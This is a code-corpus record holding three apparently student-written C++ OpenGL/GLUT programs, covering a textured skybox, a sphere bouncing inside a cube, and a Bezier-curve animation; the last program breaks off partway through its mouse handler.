branch_name stringclasses 149 values | text stringlengths 23 89.3M | directory_id stringlengths 40 40 | languages listlengths 1 19 | num_files int64 1 11.8k | repo_language stringclasses 38 values | repo_name stringlengths 6 114 | revision_id stringlengths 40 40 | snapshot_id stringlengths 40 40 |
|---|---|---|---|---|---|---|---|---|
refs/heads/master | <file_sep>#include <GL/gl.h>
#include <string.h>
#ifdef __APPLE__
#include <GLUT/glut.h>
#else
#include <GL/glut.h>
#endif
#include <SOIL.h>
#include <stdlib.h>
#include <iostream>
#include <math.h>
#include <ctime>
#define PI 3.14159
using namespace std;
bool WireFrame= false;
float i =0;
const GLfloat light_ambient[] = { 0.0f, 0.0f, 0.0f, 1.0f };
const GLfloat light_diffuse[] = { 1.0f, 1.0f, 1.0f, 1.0f };
const GLfloat light_specular[] = { 1.0f, 1.0f, 1.0f, 1.0f };
const GLfloat light_position[] = { 2.0f, 5.0f, 5.0f, 0.0f };
const GLfloat mat_ambient[] = { 0.7f, 0.7f, 0.7f, 1.0f };
const GLfloat mat_diffuse[] = { 0.8f, 0.8f, 0.8f, 1.0f };
const GLfloat mat_specular[] = { 1.0f, 1.0f, 1.0f, 1.0f };
const GLfloat high_shininess[] = { 100.0f };
float Wwidth,Wheight;
float translate_z = 10;
float rotateX = 0;
float rotateY = 0;
float rotateZ = 0;
GLuint tex;
// Controls how far the ball will move each frame
const float slices = 100.0;
/* BALL VARIABLES */
float curr_x = 0; float curr_y = 0; float curr_z = 0; //Pos of the ball
float old_x = 0; float old_y = 0; float old_z = 0; //Pos at click or bounce
float mx = 0; float my = 0; float mz = 0; // Where ball should move to
float sphere_radius = 0.5;
float t = 0;
float delta_x = 0;
float delta_y = 0;
float delta_z = 0;
/* CUBE BOUNDS */
int MAX_X = 18; int MIN_X = -18;
int MAX_Y = 18; int MIN_Y = -18;
int MAX_Z = 18; int MIN_Z = -18;
//Function prototypes
void TLoad(char *, GLuint);
float generate_z_val();
/* GLUT callback Handlers */
static void resize(int width, int height)
{
double Ratio;
Wwidth = (float)width;
Wheight = (float)height;
Ratio= (double)width /(double)height;
glViewport(0,0,(GLsizei) width,(GLsizei) height);
glMatrixMode(GL_PROJECTION);
glLoadIdentity();
gluPerspective (45.0f,Ratio,0.1f, 100.0f);
glMatrixMode(GL_MODELVIEW);
glLoadIdentity();
}
static void display(void)
{
glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);
glMatrixMode(GL_MODELVIEW);
glLoadIdentity();
gluLookAt(0,0,translate_z,0.0,0.0,0.0,0.0,1.0,100.0);
//Move the cube around
glPushMatrix();
glDisable(GL_LIGHTING);
glTranslatef(0,0, 0);
glRotatef(rotateX, 1.0f, 0.0f, 0.0f);
glRotatef(rotateY, 0.0f, 1.0f, 0.0f);
glRotatef(rotateZ, 0.0f, 0.0f, 1.0f);
glScalef(20.0f, 20.0f, 20.0f);
// Draw the front face of a cube
// Order of tex cords: TL -> TR -> BR -> BL
glBindTexture(GL_TEXTURE_2D, tex);
glBegin(GL_QUADS);
glNormal3f(0.0f, 0.0f, -1.0f);
glTexCoord2f(0.25f, 0.33f); glVertex3f(-1.0f, 1.0f, 1.0f);
glTexCoord2f(0.50f, 0.33f); glVertex3f(1.0f, 1.0f, 1.0f);
glTexCoord2f(0.50f, 0.66f); glVertex3f(1.0f, -1.0f, 1.0f);
glTexCoord2f(0.25f, 0.66f); glVertex3f(-1.0f, -1.0f, 1.0f);
glEnd();
//Draw the backface
// Order: TR -> BR -> BL -> TL
glBindTexture(GL_TEXTURE_2D, tex);
glBegin(GL_QUADS);
glNormal3f(0.0f, 0.0f, 1.0f);
glTexCoord2f(1.0f, 0.33f); glVertex3f(-1.0f, 1.0f, -1.0f);
glTexCoord2f(1.0f, 0.66f); glVertex3f(-1.0f, -1.0f, -1.0f);
glTexCoord2f(0.75f, 0.66f); glVertex3f(1.0f, -1.0f, -1.0f);
glTexCoord2f(0.75f, 0.33f); glVertex3f(1.0f, 1.0f, -1.0f);
glEnd();
/****************************************************************************/
//Draw the top face
// Order: BL -> TL -> TR -> BR
glBindTexture(GL_TEXTURE_2D, tex);
glBegin(GL_QUADS);
glNormal3f(0.0f, -1.0f, 0.0f);
glTexCoord2f(0.50f, 0.0f); glVertex3f(1.0f, 1.0f, -1.0f);
glTexCoord2f(0.50f, 0.33f); glVertex3f(1.0f, 1.0f, 1.0f);
glTexCoord2f(0.25f, 0.33f); glVertex3f(-1.0f, 1.0f, 1.0f);
glTexCoord2f(0.25f, 0.0f); glVertex3f(-1.0f, 1.0f, -1.0f);
glEnd();
//Draw the bottom face Z
// Order: TR -> TL -> BL -> BR
// ORDER:
glBindTexture(GL_TEXTURE_2D, tex);
glBegin(GL_QUADS);
glNormal3f(0.0f, 1.0f, 0.0f);
glTexCoord2f(0.25f, 0.66f); glVertex3f(-1.0f, -1.0f, 1.0f);
glTexCoord2f(0.50f, 0.66f); glVertex3f(1.0f, -1.0f, 1.0f);
glTexCoord2f(0.50f, 1.0f); glVertex3f(1.0f, -1.0f, -1.0f);
glTexCoord2f(0.25f, 1.0f); glVertex3f(-1.0f, -1.0f, -1.0f);
glEnd();
/****************************************************************************/
//Right Face Y
// Order: TR -> BR -> BL -> TL
glBindTexture(GL_TEXTURE_2D, tex);
glBegin(GL_QUADS);
glNormal3f(-1.0f, 0.0f, 0.0f);
glTexCoord2f(0.75f, 0.33f); glVertex3f(1.0f, 1.0f, -1.0f);
glTexCoord2f(0.75f, 0.66f); glVertex3f(1.0f, -1.0f, -1.0f);
glTexCoord2f(0.50f, 0.66f); glVertex3f(1.0f, -1.0f, 1.0f);
glTexCoord2f(0.50f, 0.33f); glVertex3f(1.0f, 1.0f, 1.0f);
glEnd();
//Left Face Y
glBindTexture(GL_TEXTURE_2D, tex);
glBegin(GL_QUADS);
glNormal3f(1.0f, 0.0f, 0.0f);
glTexCoord2f(0.0f, 0.33f); glVertex3f(-1.0f, 1.0f, -1.0f);
glTexCoord2f(0.25f, 0.33f); glVertex3f(-1.0f, 1.0f, 1.0f);
glTexCoord2f(0.25f, 0.66f); glVertex3f(-1.0f, -1.0f, 1.0f);
glTexCoord2f(0.0f, 0.66f); glVertex3f(-1.0f, -1.0f, -1.0f);
glEnd();
glPopMatrix();
// Draw the sphere
glPushMatrix();
glEnable(GL_LIGHTING);
glTranslatef(curr_x, curr_y, curr_z);
glutSolidSphere(sphere_radius, 40, 40);
glPopMatrix();
if(WireFrame)
glPolygonMode(GL_FRONT_AND_BACK, GL_LINE); //Draw Our Mesh In Wireframe Mesh
else
glPolygonMode(GL_FRONT_AND_BACK, GL_FILL); //Toggle WIRE FRAME
// your code here
glutSwapBuffers();
}
static void key(unsigned char key, int x, int y)
{
switch (key)
{
case 27 :
case 'q':
exit(0);
break;
case 'w':
WireFrame =!WireFrame;
break;
}
}
void Specialkeys(int key, int x, int y)
{
switch(key)
{
case GLUT_KEY_END:
translate_z += (float) 1.0f;
break;
case GLUT_KEY_HOME:
translate_z -= (float) 1.0f;
break;
case GLUT_KEY_UP:
rotateX = ( (int)rotateX + 5) % 360;
break;
case GLUT_KEY_DOWN:
rotateX = ( (int)rotateX - 5) % 360;
break;
case GLUT_KEY_LEFT:
rotateY = ( (int)rotateY + 5) % 360;
break;
case GLUT_KEY_RIGHT:
rotateY = ( (int)rotateY - 5) % 360;
break;
default:
break;
}
glutPostRedisplay();
}
static void idle(void)
{
// Use parametric equation with t increment for xpos and y pos
// Don't need a loop
// Speed? increase every frame
t += 1;
// calculate the length of each slice - the distance the ball will
// travel each frame?
delta_x = (mx - old_x)/slices;
delta_y = (my - old_y)/slices;
delta_z = (mz - old_z)/slices;
// Update balls position
curr_x = old_x + delta_x * t;
curr_y = old_y + delta_y * t;
curr_z = old_z + delta_z * t;
if(curr_y >= MAX_Y){
curr_y = MAX_Y;
t = 0;
my = old_y;
mx = 2 * (curr_x - old_x);
mz = 2 * (curr_z - old_z);
old_x = curr_x;
old_y = curr_y;
old_z = curr_z;
}else if(curr_y <= MIN_Y){
curr_y = MIN_Y;
t = 0;
my = old_y;
mx = 2 * (curr_x - old_x);
mz = 2 * (curr_z - old_z);
old_x = curr_x;
old_y = curr_y;
old_z = curr_z;
}else if(curr_x >= MAX_X){
curr_x = MAX_X;
t = 0;
my = 2 * (curr_y - old_y);
mx = old_x;
mz = 2 * (curr_z - old_z);
old_x = curr_x;
old_y = curr_y;
old_z = curr_z;
}else if(curr_x <= MIN_X){
curr_x = MIN_X;
t = 0;
my = 2 * (curr_y - old_y);
mx = old_x;
mz = 2 * (curr_z - old_z);
old_x = curr_x;
old_y = curr_y;
old_z = curr_z;
}
else if(curr_z >= MAX_Z){
curr_z = MAX_Z;
t = 0;
mx = 2 * (curr_x - old_x);
my = 2 * (curr_y - old_y);
mz = old_z;
old_x = curr_x;
old_y = curr_y;
old_z = curr_z;
}
else if(curr_z <= MIN_Z){
curr_z = MIN_Z;
t = 0;
mx = 2 * (curr_x - old_x);
my = 2 * (curr_y - old_y);
mz = old_z;
old_x = curr_x;
old_y = curr_y;
old_z = curr_z;
}
else{}
glutPostRedisplay();
}
void mouse(int btn, int state, int x, int y){
float scale = 55*(Wwidth/Wheight);
// Grab mouse coords to calculate new direction
mx = (float) (x-Wwidth/2)/scale;
my = (float) (Wheight/2 - y)/scale;
mz = generate_z_val();
//cout<<mx<<" | "<<my<<" | "<<mz<<endl;
switch(btn){
case GLUT_LEFT_BUTTON:
if(state==GLUT_DOWN){
t = 0;
// save the ball position before update of new direction
old_x = curr_x;
old_y = curr_y;
old_z = curr_z;
}
break;
}
glutPostRedisplay();
};
static void init(void)
{
glEnable(GL_CULL_FACE);
glCullFace(GL_BACK);
glClearColor(0.5f, 0.5f, 1.0f, 0.0f); // assign a color you like
glEnable(GL_NORMALIZE);
glEnable(GL_COLOR_MATERIAL);
glEnable(GL_DEPTH_TEST);
glHint(GL_PERSPECTIVE_CORRECTION_HINT, GL_NICEST);
glShadeModel(GL_SMOOTH);
glLightfv(GL_LIGHT0, GL_AMBIENT, light_ambient);
glLightfv(GL_LIGHT0, GL_DIFFUSE, light_diffuse);
glLightfv(GL_LIGHT0, GL_SPECULAR, light_specular);
glLightfv(GL_LIGHT0, GL_POSITION, light_position);
glMaterialfv(GL_FRONT, GL_AMBIENT, mat_ambient);
glMaterialfv(GL_FRONT, GL_DIFFUSE, mat_diffuse);
glMaterialfv(GL_FRONT, GL_SPECULAR, mat_specular);
glMaterialfv(GL_FRONT, GL_SHININESS, high_shininess);
glEnable(GL_LIGHT0);
glEnable(GL_NORMALIZE);
//Enable lightning for objects in display for that specific object
glEnable(GL_LIGHTING);
glEnable(GL_TEXTURE_2D);
glGenTextures(1, &tex);
glTexEnvi(GL_TEXTURE_ENV, GL_TEXTURE_ENV_MODE, GL_MODULATE);
TLoad("/home/richard/Documents/2020SP/CSCI173/Project01/images/skybox2.png", tex);
}
void TLoad(char *file, GLuint tex){
glBindTexture(GL_TEXTURE_2D, tex); // images are 2D arrays of pixels, bound to the GL_TEXTURE_2D target.
int width, height; // width & height for the image reader
unsigned char* image;
//change file?
image = SOIL_load_image(file, &width, &height, 0, SOIL_LOAD_RGB);
glTexImage2D(GL_TEXTURE_2D, 0, GL_RGB, width, height, 0, GL_RGB, GL_UNSIGNED_BYTE, image);
// binding image data
SOIL_free_image_data(image);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER,GL_NEAREST);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER,GL_NEAREST);
}
float generate_z_val(){
float temp = 0;
int sign = rand();
temp = (float) ( rand() % (MAX_Z * 1000 + 1) )/100.0; //val 0-18
//random chance the z value will be positive or negative each click
if(sign % 2 != 0){
temp = -1 * temp;
}
return temp;
}
/* Program entry point */
int main(int argc, char *argv[])
{
// To make each mouse click different every time the program
// is run
srand(time(0));
glutInit(&argc, argv);
glutInitWindowSize(800,600);
glutInitWindowPosition(0,0);
glutInitDisplayMode(GLUT_RGB | GLUT_DOUBLE | GLUT_DEPTH);
glutCreateWindow("Project Assignment 2");
init();
glutReshapeFunc(resize);
glutDisplayFunc(display);
glutMouseFunc(mouse);
glutKeyboardFunc(key);
glutSpecialFunc(Specialkeys);
glutIdleFunc(idle);
glutMainLoop();
return EXIT_SUCCESS;
}
/*
// Order of tex cords: TL -> TR -> BR -> BL
glBindTexture(GL_TEXTURE_2D, tex);
glBegin(GL_QUADS);
glNormal3f(0.0f, 0.0f, -1.0f);
glTexCoord2f(0.25f, 0.33f); glVertex3f(-1.0f, 1.0f, 1.0f);
glTexCoord2f(0.50f, 0.33f); glVertex3f(1.0f, 1.0f, 1.0f);
glTexCoord2f(0.50f, 0.66f); glVertex3f(1.0f, -1.0f, 1.0f);
glTexCoord2f(0.25f, 0.66f); glVertex3f(-1.0f, -1.0f, 1.0f);
glEnd();
//Draw the backface
// Order: TR -> BR -> BL -> TL
glBindTexture(GL_TEXTURE_2D, tex);
glBegin(GL_QUADS);
glNormal3f(0.0f, 0.0f, 1.0f);
glTexCoord2f(1.0f, 0.33f); glVertex3f(-1.0f, 1.0f, -1.0f);
glTexCoord2f(1.0f, 0.66f); glVertex3f(-1.0f, -1.0f, -1.0f);
glTexCoord2f(0.75f, 0.66f); glVertex3f(1.0f, -1.0f, -1.0f);
glTexCoord2f(0.75f, 0.33f); glVertex3f(1.0f, 1.0f, -1.0f);
glEnd();
**************************************************************************
//Draw the top face
// Order: BL -> TL -> TR -> BR
glBindTexture(GL_TEXTURE_2D, tex);
glBegin(GL_QUADS);
glNormal3f(0.0f, -1.0f, 0.0f);
glTexCoord2f(0.25f, 0.33f); glVertex3f(1.0f, 1.0f, -1.0f);
glTexCoord2f(0.25f, 0.0f); glVertex3f(1.0f, 1.0f, 1.0f);
glTexCoord2f(0.50f, 0.0f); glVertex3f(-1.0f, 1.0f, 1.0f);
glTexCoord2f(0.50f, 0.33f); glVertex3f(-1.0f, 1.0f, -1.0f);
glEnd();
NOT CORRECT?
//Draw the bottom face Z
// Order: TR -> TL -> BL -> BR
glBindTexture(GL_TEXTURE_2D, tex);
glBegin(GL_QUADS);
glNormal3f(0.0f, 1.0f, 0.0f);
glTexCoord2f(0.50f, 0.66f); glVertex3f(-1.0f, -1.0f, 1.0f);
glTexCoord2f(0.25f, 0.66f); glVertex3f(1.0f, -1.0f, 1.0f);
glTexCoord2f(0.25f, 1.0f); glVertex3f(1.0f, -1.0f, -1.0f);
glTexCoord2f(0.50f, 1.0f); glVertex3f(-1.0f, -1.0f, -1.0f);
glEnd();
**************************************************************************
//Right Face Y
// Order: TR -> BR -> BL -> TL
glBindTexture(GL_TEXTURE_2D, tex);
glBegin(GL_QUADS);
glNormal3f(-1.0f, 0.0f, 0.0f);
glTexCoord2f(0.75f, 0.33f); glVertex3f(1.0f, 1.0f, -1.0f);
glTexCoord2f(0.75f, 0.66f); glVertex3f(1.0f, -1.0f, -1.0f);
glTexCoord2f(0.50f, 0.66f); glVertex3f(1.0f, -1.0f, 1.0f);
glTexCoord2f(0.50f, 0.33f); glVertex3f(1.0f, 1.0f, 1.0f);
glEnd();
//Left Face Y
glBindTexture(GL_TEXTURE_2D, tex);
glBegin(GL_QUADS);
glNormal3f(1.0f, 0.0f, 0.0f);
glTexCoord2f(0.0f, 0.33f); glVertex3f(-1.0f, 1.0f, -1.0f);
glTexCoord2f(0.25f, 0.33f); glVertex3f(-1.0f, 1.0f, 1.0f);
glTexCoord2f(0.25f, 0.66f); glVertex3f(-1.0f, -1.0f, 1.0f);
glTexCoord2f(0.0f, 0.66f); glVertex3f(-1.0f, -1.0f, -1.0f);
glEnd();
glPopMatrix();
*/<file_sep>P#include <string.h>
#ifdef __APPLE__
#include <GLUT/glut.h>
#else
#include <GL/glut.h>
#endif
#include <SOIL.h>
#include <stdlib.h>
#include <iostream>
#include <math.h>
#define PI 3.14159
using namespace std;
bool WireFrame= false;
float i =0;
const GLfloat light_ambient[] = { 0.0f, 0.0f, 0.0f, 1.0f };
const GLfloat light_diffuse[] = { 1.0f, 1.0f, 1.0f, 1.0f };
const GLfloat light_specular[] = { 1.0f, 1.0f, 1.0f, 1.0f };
const GLfloat light_position[] = { 2.0f, 5.0f, 5.0f, 0.0f };
const GLfloat mat_ambient[] = { 0.7f, 0.7f, 0.7f, 1.0f };
const GLfloat mat_diffuse[] = { 0.8f, 0.8f, 0.8f, 1.0f };
const GLfloat mat_specular[] = { 1.0f, 1.0f, 1.0f, 1.0f };
const GLfloat high_shininess[] = { 100.0f };
float xpos =0;
float ypos =0;
float Wwidth,Wheight;
float translate_z = 0;
float rotateX = 0;
float rotateY = 0;
float rotateZ = 0;
GLuint tex[6];
//Function prototypes
void TLoad(char *, GLuint);
/* GLUT callback Handlers */
static void resize(int width, int height)
{
double Ratio;
Wwidth = (float)width;
Wheight = (float)height;
Ratio= (double)width /(double)height;
glViewport(0,0,(GLsizei) width,(GLsizei) height);
glMatrixMode(GL_PROJECTION);
glLoadIdentity();
gluPerspective (45.0f,Ratio,0.1f, 100.0f);
glMatrixMode(GL_MODELVIEW);
glLoadIdentity();
}
static void display(void)
{
glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);
glMatrixMode(GL_MODELVIEW);
glLoadIdentity();
gluLookAt(0,0,10,0.0,0.0,0.0,0.0,1.0,100.0);
//Move the cube around
glPushMatrix();
glDisable(GL_LIGHTING);
glTranslatef(0,0, translate_z);
glRotatef(rotateX, 1.0f, 0.0f, 0.0f);
glRotatef(rotateY, 0.0f, 1.0f, 0.0f);
glRotatef(rotateZ, 0.0f, 0.0f, 1.0f);
glScalef(20.0f, 20.0f, 20.0f);
//Draw the front face of a cube
glBindTexture(GL_TEXTURE_2D, tex[0]);
glBegin(GL_QUADS);
glNormal3f(0.0f, 0.0f, -1.0f);
glTexCoord2f(0.0f, 0.0f); glVertex3f(-1.0f, 1.0f, 1.0f);
glTexCoord2f(1.0f, 0.0f); glVertex3f(1.0f, 1.0f, 1.0f);
glTexCoord2f(1.0f, 1.0f); glVertex3f(1.0f, -1.0f, 1.0f);
glTexCoord2f(0.0f, 1.0f); glVertex3f(-1.0f, -1.0f, 1.0f);
glEnd();
//Draw the backface
glBindTexture(GL_TEXTURE_2D, tex[1]);
glBegin(GL_QUADS);
glNormal3f(0.0f, 0.0f, 1.0f);
glTexCoord2f(1.0f, 0.0f); glVertex3f(-1.0f, 1.0f, -1.0f);
glTexCoord2f(1.0f, 1.0f); glVertex3f(-1.0f, -1.0f, -1.0f);
glTexCoord2f(0.0f, 1.0f); glVertex3f(1.0f, -1.0f, -1.0f);
glTexCoord2f(0.0f, 0.0f); glVertex3f(1.0f, 1.0f, -1.0f);
glEnd();
//Draw the top face
glBindTexture(GL_TEXTURE_2D, tex[2]);
glBegin(GL_QUADS);
glNormal3f(0.0f, -1.0f, 0.0f);
glTexCoord2f(0.0f, 1.0f); glVertex3f(1.0f, 1.0f, -1.0f);
glTexCoord2f(0.0f, 0.0f); glVertex3f(1.0f, 1.0f, 1.0f);
glTexCoord2f(1.0f, 0.0f); glVertex3f(-1.0f, 1.0f, 1.0f);
glTexCoord2f(1.0f, 1.0f); glVertex3f(-1.0f, 1.0f, -1.0f);
glEnd();
//Draw the bottom face Z
glBindTexture(GL_TEXTURE_2D, tex[3]);
glBegin(GL_QUADS);
glNormal3f(0.0f, 1.0f, 0.0f);
glTexCoord2f(1.0f, 1.0f); glVertex3f(-1.0f, -1.0f, 1.0f);
glTexCoord2f(0.0f, 1.0f); glVertex3f(1.0f, -1.0f, 1.0f);
glTexCoord2f(0.0f, 0.0f); glVertex3f(1.0f, -1.0f, -1.0f);
glTexCoord2f(1.0f, 0.0f); glVertex3f(-1.0f, -1.0f, -1.0f);
glEnd();
//Right Face Y
glBindTexture(GL_TEXTURE_2D, tex[4]);
glBegin(GL_QUADS);
glNormal3f(-1.0f, 0.0f, 0.0f);
glTexCoord2f(1.0f, 0.0f); glVertex3f(1.0f, 1.0f, -1.0f);
glTexCoord2f(1.0f, 1.0f); glVertex3f(1.0f, -1.0f, -1.0f);
glTexCoord2f(0.0f, 1.0f); glVertex3f(1.0f, -1.0f, 1.0f);
glTexCoord2f(0.0f, 0.0f); glVertex3f(1.0f, 1.0f, 1.0f);
glEnd();
//Left Face Y
glBindTexture(GL_TEXTURE_2D, tex[5]);
glBegin(GL_QUADS);
glNormal3f(1.0f, 0.0f, 0.0f);
glTexCoord2f(0.0f, 0.0f); glVertex3f(-1.0f, 1.0f, -1.0f);
glTexCoord2f(1.0f, 0.0f); glVertex3f(-1.0f, 1.0f, 1.0f);
glTexCoord2f(1.0f, 1.0f); glVertex3f(-1.0f, -1.0f, 1.0f);
glTexCoord2f(0.0f, 1.0f); glVertex3f(-1.0f, -1.0f, -1.0f);
glEnd();
glPopMatrix();
if(WireFrame)
glPolygonMode(GL_FRONT_AND_BACK, GL_LINE); //Draw Our Mesh In Wireframe Mesh
else
glPolygonMode(GL_FRONT_AND_BACK, GL_FILL); //Toggle WIRE FRAME
// your code here
glutSwapBuffers();
}
static void key(unsigned char key, int x, int y)
{
switch (key)
{
case 27 :
case 'q':
exit(0);
break;
case 'w':
WireFrame =!WireFrame;
break;
}
}
void Specialkeys(int key, int x, int y)
{
switch(key)
{
case GLUT_KEY_END:
translate_z += (float) 1.0f;
break;
case GLUT_KEY_HOME:
translate_z -= (float) 1.0f;
break;
case GLUT_KEY_UP:
rotateX = ( (int)rotateX + 5) % 360;
break;
case GLUT_KEY_DOWN:
rotateX = ( (int)rotateX - 5) % 360;
break;
case GLUT_KEY_LEFT:
rotateY = ( (int)rotateY + 5) % 360;
break;
case GLUT_KEY_RIGHT:
rotateY = ( (int)rotateY - 5) % 360;
break;
default:
break;
}
glutPostRedisplay();
}
static void idle(void)
{
// Use parametric equation with t increment for xpos and y pos
// Don't need a loop
glutPostRedisplay();
}
void mouse(int btn, int state, int x, int y){
float scale = 100*(Wwidth/Wheight);
switch(btn){
case GLUT_LEFT_BUTTON:
if(state==GLUT_DOWN){
// get new mouse coordinates for x,y
// use scale to match right
}
break;
}
glutPostRedisplay();
};
static void init(void)
{
glEnable(GL_CULL_FACE);
glCullFace(GL_BACK);
glClearColor(0.5f, 0.5f, 1.0f, 0.0f); // assign a color you like
glEnable(GL_NORMALIZE);
glEnable(GL_COLOR_MATERIAL);
glEnable(GL_DEPTH_TEST);
glHint(GL_PERSPECTIVE_CORRECTION_HINT, GL_NICEST);
glShadeModel(GL_SMOOTH);
glLightfv(GL_LIGHT0, GL_AMBIENT, light_ambient);
glLightfv(GL_LIGHT0, GL_DIFFUSE, light_diffuse);
glLightfv(GL_LIGHT0, GL_SPECULAR, light_specular);
glLightfv(GL_LIGHT0, GL_POSITION, light_position);
glMaterialfv(GL_FRONT, GL_AMBIENT, mat_ambient);
glMaterialfv(GL_FRONT, GL_DIFFUSE, mat_diffuse);
glMaterialfv(GL_FRONT, GL_SPECULAR, mat_specular);
glMaterialfv(GL_FRONT, GL_SHININESS, high_shininess);
glEnable(GL_LIGHT0);
glEnable(GL_NORMALIZE);
//Enable lightning for objects in display for that specific object
glEnable(GL_LIGHTING);
glEnable(GL_TEXTURE_2D);
glGenTextures(6, tex);
glTexEnvi(GL_TEXTURE_ENV, GL_TEXTURE_ENV_MODE, GL_MODULATE);
TLoad("/home/richard/Documents/2020SP/CSCI173/Lab03/images/front.jpg", tex[0]);
TLoad("/home/richard/Documents/2020SP/CSCI173/Lab03/images/back.jpg", tex[1]);
TLoad("/home/richard/Documents/2020SP/CSCI173/Lab03/images/top.jpg", tex[2]);
TLoad("/home/richard/Documents/2020SP/CSCI173/Lab03/images/bottom.jpg", tex[3]);
TLoad("/home/richard/Documents/2020SP/CSCI173/Lab03/images/left.jpg", tex[4]);
TLoad("/home/richard/Documents/2020SP/CSCI173/Lab03/images/right.jpg", tex[5]);
}
void TLoad(char *file, GLuint tex){
glBindTexture(GL_TEXTURE_2D, tex); // images are 2D arrays of pixels, bound to the GL_TEXTURE_2D target.
int width, height; // width & height for the image reader
unsigned char* image;
//change file?
image = SOIL_load_image(file, &width, &height, 0, SOIL_LOAD_RGB);
glTexImage2D(GL_TEXTURE_2D, 0, GL_RGB, width, height, 0, GL_RGB, GL_UNSIGNED_BYTE, image);
// binding image data
SOIL_free_image_data(image);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER,GL_NEAREST);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER,GL_NEAREST);
}
/* Program entry point */
int main(int argc, char *argv[])
{
glutInit(&argc, argv);
glutInitWindowSize(800,600);
glutInitWindowPosition(0,0);
glutInitDisplayMode(GLUT_RGB | GLUT_DOUBLE | GLUT_DEPTH);
glutCreateWindow("Project Assignment 2");
init();
glutReshapeFunc(resize);
glutDisplayFunc(display);
glutMouseFunc(mouse);
glutKeyboardFunc(key);
glutSpecialFunc(Specialkeys);
glutIdleFunc(idle);
glutMainLoop();
return EXIT_SUCCESS;
}
/*
HOMEWORK
Convert skybox from 6 images to 1 image
The whole skybox image - 6 sides - is 1x1
Height is an issue due to 100/3 not being evenly distrbuted
1
.66
.33
0
GL_CLAMP and GL_NEAREST take care of this issue
ORDER: BOTTOM-LEFT -> BOTTOM-RIGHT -> TOP-RIGHT -> TOP-LEFT
*/
<file_sep>#include <GL/freeglut_std.h>
#include <GL/gl.h>
#include <cmath>
#include <string.h>
#ifdef __APPLE__
#include <GLUT/glut.h>
#else
#include <GL/glut.h>
#endif
#include <stdlib.h>
#include <iostream>
#include <math.h>
#define PI 3.14159
using namespace std;
bool WireFrame= false;
float i =0;
const GLfloat light_ambient[] = { 0.0f, 0.0f, 0.0f, 1.0f };
const GLfloat light_diffuse[] = { 1.0f, 1.0f, 1.0f, 1.0f };
const GLfloat light_specular[] = { 1.0f, 1.0f, 1.0f, 1.0f };
const GLfloat light_position[] = { 2.0f, 5.0f, 5.0f, 0.0f };
const GLfloat mat_ambient[] = { 0.7f, 0.7f, 0.7f, 1.0f };
const GLfloat mat_diffuse[] = { 0.8f, 0.8f, 0.8f, 1.0f };
const GLfloat mat_specular[] = { 1.0f, 1.0f, 1.0f, 1.0f };
const GLfloat high_shininess[] = { 100.0f };
float xpos =0;
float ypos =0;
float zpos =0;
float Wwidth,Wheight;
float mx;
float my;
float mz;
float xp[3] = {0.0,0.0,0.0};
float yp[3] = {0.0,0.0,0.0};
float zp[3] = {0.0,0.0,0.0}; // For z points
int counter = 0;
float t = 0; // For bezier curve
float x = 0;
float y = 0;
float z = 0; // For z depth
/* GLUT callback Handlers */
static void resize(int width, int height)
{
double Ratio;
Wwidth = (float)width;
Wheight = (float)height;
Ratio= (double)width /(double)height;
glViewport(0,0,(GLsizei) width,(GLsizei) height);
glMatrixMode(GL_PROJECTION);
glLoadIdentity();
gluPerspective (45.0f,Ratio,0.1f, 100.0f);
glMatrixMode(GL_MODELVIEW);
glLoadIdentity();
}
static void display(void)
{
glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);
glMatrixMode(GL_MODELVIEW);
glLoadIdentity();
gluLookAt(0,0,10,0.0,0.0,0.0,0.0,1.0,100.0);
if(WireFrame)
glPolygonMode(GL_FRONT_AND_BACK, GL_LINE); //Draw Our Mesh In Wireframe Mesh
else
glPolygonMode(GL_FRONT_AND_BACK, GL_FILL); //Toggle WIRE FRAME
// your code here
// Draw the line - path
glPushMatrix();
glPointSize(1);
for(float j = 0; j <= 1; j+=0.01)
{
glBegin(GL_POINTS);
xpos = (1-j)*(1-j)*xp[0] + 2*(1-j)*j*xp[1] + j*j*xp[2];
ypos = (1-j)*(1-j)*yp[0] + 2*(1-j)*j*yp[1] + j*j*yp[2];
zpos = (1-j)*(1-j)*zp[0] + 2*(1-j)*j*yp[1] + j*j*zp[2];
glVertex3f(xpos, ypos, zpos);
glEnd();
}
glPopMatrix();
// Draw the sphere along the line
glPushMatrix();
glTranslatef(x, y, z);
glutSolidSphere(0.1, 40, 40);
glPopMatrix();
// Draw the points
glPushMatrix();
glPointSize(10);
for (int i = 0; i < 3; i++)
{
glColor3f(1.0f, 0.0f, 0.0f);
glBegin(GL_POINTS);
glVertex3f(xp[i], yp[i], zp[i]);
glEnd();
}
glPopMatrix();
glutSwapBuffers();
}
static void key(unsigned char key, int x, int y)
{
switch (key)
{
case 27 :
case 'q':
exit(0);
break;
case 'w':
WireFrame =!WireFrame;
break;
}
}
void Specialkeys(int key, int x, int y)
{
switch(key)
{
case GLUT_KEY_UP:
break;
}
glutPostRedisplay();
}
static void idle(void)
{
// Use parametric equation with t increment for xpos and y pos
// Don't need a loop
// Reset t when it reaches 1 because j goes to 1
if(t < 1){
t += 0.01;
x = (1-t)*(1-t)*xp[0] + 2*(1-t)*t*xp[1] + t*t*xp[2];
y = (1-t)*(1-t)*yp[0] + 2*(1-t)*t*yp[1] + t*t*yp[2];
z = (1-t)*(1-t)*zp[0] + 2*(1-t)*t*zp[1] + t*t*zp[2];
}
else{
t = 0;
}
glutPostRedisplay();
}
void mouse(int btn, int state, int x, int y){
float scale = 55*(Wwidth/Wheight);
mx = (float) (x-Wwidth/2)/scale;
my = (float) (Wheight/2-y)/scale;
//for mz generate random z value from range from -0.5 to 5 using %
mz = ((float) (rand() % 56)/10 ) - 0.5;
switch(btn){
case GLUT_LEFT_BUTTON:
